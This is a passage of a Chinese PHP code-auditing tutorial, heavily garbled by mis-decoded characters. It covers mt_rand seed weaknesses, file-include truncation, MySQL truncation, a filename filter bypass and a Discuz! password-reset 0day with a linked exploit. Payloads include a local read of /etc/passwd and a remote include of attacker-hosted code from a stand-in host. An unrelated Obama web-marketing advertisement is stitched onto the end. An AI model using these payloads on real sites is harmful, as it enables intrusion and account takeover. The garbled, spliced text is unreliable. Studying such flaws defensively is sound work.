正是q个原因Q也要求了我们的exp的运行环境:当目?gt;5.20时候,我们expq行的环境也
要是>5.20的版本,反过来也是一栗?/p>
从上面的试及分析来看,php<5.26不管有没有定义播U,mt_rand处理的数据都是不?br />
全的。在web应用里很多都使用mt_rand来处理随机的sessionQ比如密码找回功能等{,q样
的后果就是被d者恶意利用直接修改密码?/p>
很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb{等。(在后面我们将
实际分析下国内著名的bbsE序Discuz!的mt_srandD的漏z)
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Qphp4 php5<5.2.6
pȝ要求Q无
审计{略Q查找mt_srand/mt_rand
+++++++++++++++++++++++++
5.6 Ҏ字符
其实“Ҏ字符”也没有特定的标准定义Q主要是在一些code hacking发挥着Ҏ重作?br />
的一cdW。下面就丑և个例子:
5.6.1 截断
其中最有名的数大家都熟悉的null字符截断?/p>
5.6.1.1 include截断
--code-------------------------------------------------------------------------
<?php
include $_GET['action'].".php";
?>
-------------------------------------------------------------------------------
提交“action=/etc/passwd%00”中的“%00”截断后面的“.php”Q但是除?#8220;%00”q有没有
其他的字W可以实现截断用呢Q肯定有人想Cq程包含的url里问?#8220;?”的作用,通过提交
“action=http://www.hacksite.com/evil-code.txt?”q里“?”实现?#8220;伪截?#8221;Q)Q好象这?br />
看上M是那么舒服那么我们简单写个代码fuzz一下:
--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>
-------------------------------------------------------------------------------
l过试字符“.”?#8220; /”或?个字W的l合Q在一定的长度时将被截断,winpȝ?nix
的系l长度不一P当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大?br />
256时被截断Q对?nix的长度是4 * 1024 = 4096。对于php.ini里设|远E文件关闭的时?br />
可以利用上面的技巧包含本地文件了。(此漏z由cloie#ph4nt0m.org最先发现]Q?/p>
5.6.1.2 数据截断
对于很多web应用文g在很多功能是不容讔R复数据的Q比如用h册功能等。一般的?br />
用程序对于提交注册的username和数据库里已有的usernameҎ是不是已l有重复数据Q然
而我们可以通过“数据截断”{来饶过q些判断Q数据库在处理时候生截断导致插入重复数
据?br />
1) Mysql SQL Column Truncation Vulnerabilities
q个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶?)Q,q个是由于mysql
的sql_mode讄为default的时候,x有开启STRICT_ALL_TABLES选项ӞMySQL对于插入?br />
长的值只会提CwarningQ而不是errorQ如果是error插入不成功Q,q样可能会导致一些截
断问题。测试如下:
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
2) Mysql charset Truncation vulnerability
q个漏洞?0sec发现的,当mysqlq行数据存储处理utf8{数据时Ҏ些字W导致数?br />
截断。测试如下:
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
很多的web应用E序没有考虑到这些问题,只是在数据存储前单查询数据是否包含相?br />
数据Q如下代码:
--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q通读代码
+++++++++++++++++++++++++
5.6.1.3 文g操作里的Ҏ字符
文g操作里有很多Ҏ的字W,发挥特别的作用,很多web应用E序没有注意处理q些?br />
W而导致安全问题。比如很多h都知道的windowspȝ文g名对“I格”?#8220;.”{的忽视Q这?br />
主要体现在上传文件或者写文g上,D直接写webshell。另外对于windowspȝ?#8220;.\..\”
q行pȝ转蟩{等?br />
下面q给大家介绍一个非常有意思的问题Q?/p>
--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
-------------------------------------------------------------------------------
很多人看出来了上面的代码的问题,E序首先止使用“.php”后缀。但是下面居然接?br />
个str_replace替换$webdb[www_url]为空Q那么我们提?#8220;.p$webdb[www_url]hp”可以饶q?br />
了。那么上面的代码杂fix呢?有hl出了如下代码:
--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
-------------------------------------------------------------------------------
str_replace提到前面了,很完的解决了str_replace代码的安全问题,但是问题不是?br /> 么简单,上面的代码在某些pȝ上一样可以突破。接下来我们先看看下面的代码Q?/p>
--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>
-------------------------------------------------------------------------------
我们在windowspȝq行上面的代码得到如下字W? < > ? P p都可以打开目录下的1.php?/p>
+++++++++++++++++++++++++
漏洞审计{略
-------------------------
PHP版本要求Q无
pȝ要求Q无
审计{略Q文d件操作函?br />
+++++++++++++++++++++++++
六、怎么q一步寻找新的字?/p>
上面我们列D很多的字典,但是很多都是已经公开q的漏洞或者方式,那么我们怎么q一
步找到新的字典或者利用方式呢Q?/p>
* 分析和学习别人发现的漏洞或者expQȝ出漏z类型及字典?br />
* 通过学习php手册或者官Ҏ?挖掘出新的有危害的函数或者利用方式?br />
* fuzz php的函敎ͼ扑ֈ新的有问题的函数Q不一定非要溢出的Q,如上一章的4.6的部?br />
很多都可以简单的fuzz脚本可以试出来?br />
* 分析php源代码,发现新的漏洞函数“Ҏ?#8221;或者漏z。(在上一节里介绍的那?#8220;漏洞?br />
计策?#8221;里,都没有php源代码的分析Q如果你要进一步找到新的字典,可以在php源代码的基础
上分析下成因Q然后根据这个成因来分析L新的漏洞函数“Ҏ?#8221;或者漏z。)Q我们以后会
陆箋公布一些我们对php源代码的分析Q?br />
* 有条件或者机会和开发者学习,扑ֈ他们实现某些常用功能的代码的~陷或者容易忽
视的问题
* 你有什么要补充的吗Q?Q)
七、DEMO
* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
QExp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txtQ?/p>
PHP版本要求:php4 php5<5.2.6
pȝ要求: ?br />
审计{略:查找mt_srand/mt_rand
W一?安装Discuz! 6.1后利用grep查找mt_srand得到Q?/p>
-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = '';
./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40- if($attach['attachimg']) {
-------------------------------------------------------------------------------
有两个文件用Cmt_srand()Q第1是在./include/global.func.php的随机函数random()里:
--code-------------------------------------------------------------------------
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
判断了版本,如果是PHP_VERSION > '4.2.0'使用php本n默认的播U。从上一章里的分
析我们可以看得出来,使用php本n默认的播U的分程序两U情况:
1) 'Cross Application Attacks' q个思\是只要目标上有用用的E序里定义了cM
mt_srand((double)microtime() * 1000000)的播U的话,又很有可能被暴力。在dzq里不需
要Cross ApplicationQ因Z本n有文件就定义了,是上面的第2个文Ӟ
--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
q里我们肯定dz是存在这个漏z的Q文章给出来的exp也就是基于这个的。(具体exp利用
的流E有兴趣的可以自己分析下]Q?/p>
2) 有的为如果没有mt_srand((double)microtime() * 1000000);q里的定义,那么dz?br />
不存在漏z,q个是不正确的。首先你不可以保证别Z用的其他应用E序没有定义Q再ơ不
利用'Cross Application Attacks'Q?.2.6>php>4.2.0 php本n默认播种的算法也不是很强
悍(分析详见上)Q也是有可以暴力出来Q只是速度要慢一炏V?/p>
八、后?/p>
本文?0vul的三大马Ԍ80vul-AQ?0vul-BQ?0vul-C集体智慧的结Ӟ其?0vul-B?br />
献了不少新发现。另外需要感谢的是文章里提到的那些漏z的发现者,没有他们的成果也?br />
没有本文。本文没有写“参?#8221;Q因为本文是一个ȝ性的文挡Q有太多的连接需要提供限于篇
q就没有一一列DQ有心的读者可以自行google。另外原本没有打公布此文,因ؓ里面包含
了太多应用程序的0dayQ而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来
炫耀Q甚至牟取利益。在q里我们希望你可以在本文里学C东西Q更加希望如果通过本文?br />
扑ֈ了某些应用程序的0dayQ请低调处理Q或者直接提交给官方修补Q谢谢大ӞQ?/p>
九、附?/p>
[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114
政治观察家们一致认为,奥巴马得以击败希拉里Q?#8220;|络营销”立下了汗马功劻I他也因此被称?#8220;Web2.0时代的营销大师”。奥巴马是如何将原本默默无闻?#8220;个h品牌”做成一?#8220;世界知名品牌”的?
带着q个疑问反观中国Q中国互联网l信息中心(CNNICQ发布的《第22ơ中国互联网l发展状늻计报告》显C:截至2008q?月底Q我?|民数量辑ֈ?.53亿,首次大幅度超q美国,|民规模跃居世界W一位。如何调动全球最多的|民的神l,成ؓ所有企业网l营销{划旉临的W一道课题。奥巴马会给我们怎样的启C?在Web2.0时代企业如何做品牌,如何通过|络营销{划推广自己的品?
?#8220;花样游泳”勑ּ观众
“我等不及2008q大选,宝贝Q你是最好的候选hQ你采取了边境安全措施,打破你我之间的界限。全民医疗保险,嗯,q我感到温?#8230;…”
q是视频|站Youtube上《奥巴马令我魂颠倒》的一D|词。在视频中,w着比基的演唱者埃h搔首弄姿Q在奥巴马照片旁大摆性感热G造型Q毫不掩饰地表达着自己对奥巴马的倾慕之情。据l计Q这D视频在Youtube已被点击过900万次Qƈ且被无数的网站和传统媒体转蝲?/p>
一个不容争辩事实的是,|络营销{划成了本次国大选媄响民意的重要手段Q那些数q前q不存在的传播渠道如博客、MyspaceC、Youtube视频Q显C出巨大影响力,p肯尼q、尼克松引以的电视辩论都相Ş见绌?/p>
q不由想起在刚刚l束的北京奥q会上,花样游泳、沙滩排球吸引了不少中国看。在饱受几千q封建思想z礼的中国,q两运动终于让普通老百姓大开眼界一睹其真面目。ؓ什么受Ƣ迎Q因为其_l仑的动作能让hD~ؕQ甚至?#8220;意ؕ情迷”的惟?/p>
|络营销{划是什么?|络营销是能让人目不暇接、能让h连忘返、能让h意ؕ情迷、能让h改变初衷的在U营销与品牌推qѝ?/p>
奥巴马击败希拉里Q招招不M联网可以看出|络营销{划无处不在。奥巴马寚w凯恩出招Q又是招招不M联网。电子邮件、手机短信、视频网站,不一而。在奥巴马的竞选网站上Q可以直接点击观看奥巴马视频Q在U购买奥巴马标记的品,下蝲奥巴马的演讲作ؓ手机铃声。奥巴马玩{|络营销{划Q像表演“花样游泳”一L引着|民手中?鼠标?/p>
|络营销{划不是几个弹出的广告,不是“BBS炒作”Q而是一pd|络推广手段的整合。网l营销{划是组合拳Q是花样游泳Q得有一双双修长的美ѝ一套漂亮的动作?#8220;勑ּ”观众?/p>
l合投资可以分散风险Q就要注?#8220;二八原则”Q但同时也不能忽?#8220;长尾效应”?/p>
搜烦引擎、BBS、视频、电子杂志就是发挥着“?#8221;作用?#8220;?#8221;Q但是还有更多的“长尾”不容忽视Q如博客、SNS、百度脓吧等?/p>
搜烦引擎一度在|络营销{划中发挥了显赫作用Q而随着竞h排名的透明化,用户也开始擦亮眼睛。相比之下网lBBS营销则更加隐蔽而不至于让h生厌Q今q有“两个一亿元”不得不提。王老吉亿元捐款“遭封杀”是比较成功的BBS营销案例Q而盘古大观编?#8220;盖茨亿元U楼看奥q?#8221;的假新闻在各大论坛进行炒 作,虽然知名度上MQ但是美誉度却堪比脑白金?/p>
《一个馒头引发的血案》最大限度地为《无极》做了推qѝ前不久看到太^z汽车网上一个视频《希特勒怒骂q腾上市》,利用名h希特勒正话反_?属一l,目前点击已近20万。七星购物在B2C领域知名度远不及当当和卓,甚至略逊于京东商城、红孩子Q而今q以来其通过商品视频化的销售方式,大幅提高了商品的x度。一度被视作?#8220;黄色嫌疑”?#8220;女视频聊天”也得以成功应用,q奛_购员使用视频聊天室的方式Q直接向用户展示商品或提供视频导购服务,受到了空前的Ƣ迎?/p>
正所?#8220;得终端者得天下”。有研究表明Q导购员在终端的诱导购买Q经怋ə֮改变购买初衷?#8220;视频营销”宛如网l终端的商品D员,通过直接介绍、间接诱导等形式Qy妙嵌入品牌和产品信息。一D는动Ş象的视频Q可以需求犹豫者更加坚定,使无需求者生需求。上h普网l可以帮助你q行|络营销让你快速实现奥巴马一L成WQ网l营销{划
本文Q上h普网l,http://www.eshyp.comQ?转蝲请保留链接出处,谢谢配合?/p>